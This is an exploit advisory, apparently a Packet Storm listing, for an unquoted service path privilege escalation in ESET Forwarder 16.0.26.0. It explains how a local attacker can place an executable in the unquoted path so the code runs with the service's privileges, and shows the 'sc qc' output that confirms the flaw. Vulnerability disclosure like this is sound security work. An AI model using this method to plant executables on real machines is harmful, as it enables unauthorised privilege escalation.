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## https://sploitus.com/exploit?id=PACKETSTORM:172085
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# Exploit Title: ESET Forwarder 16.0.26.0 - Unquoted Service Path Privilege Escalation  
# Date: 2023-04-30  
# Author: Milad Karimi (Ex3ptionaL)  
# Vendor Homepage: https://www.eset.com  
# Software Link: https://www.eset.com/download/  
# version : 16.0.26.0 (Latest)  
# Tested on: Windows 11  
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ESET installs as a service with an unquoted service path  
To properly exploit this vulnerability,  
the local attacker must insert an executable file in the path of the service.  
Upon service restart or system reboot, the malicious code will be run  
with elevated privileges.  
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C:\>sc qc efwd  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: efwd  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files\ESET\ESET Security\efwd.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ESET Forwarder  
DEPENDENCIES :  
SERVICE_START_NAME : NT AUTHORITY\NetworkService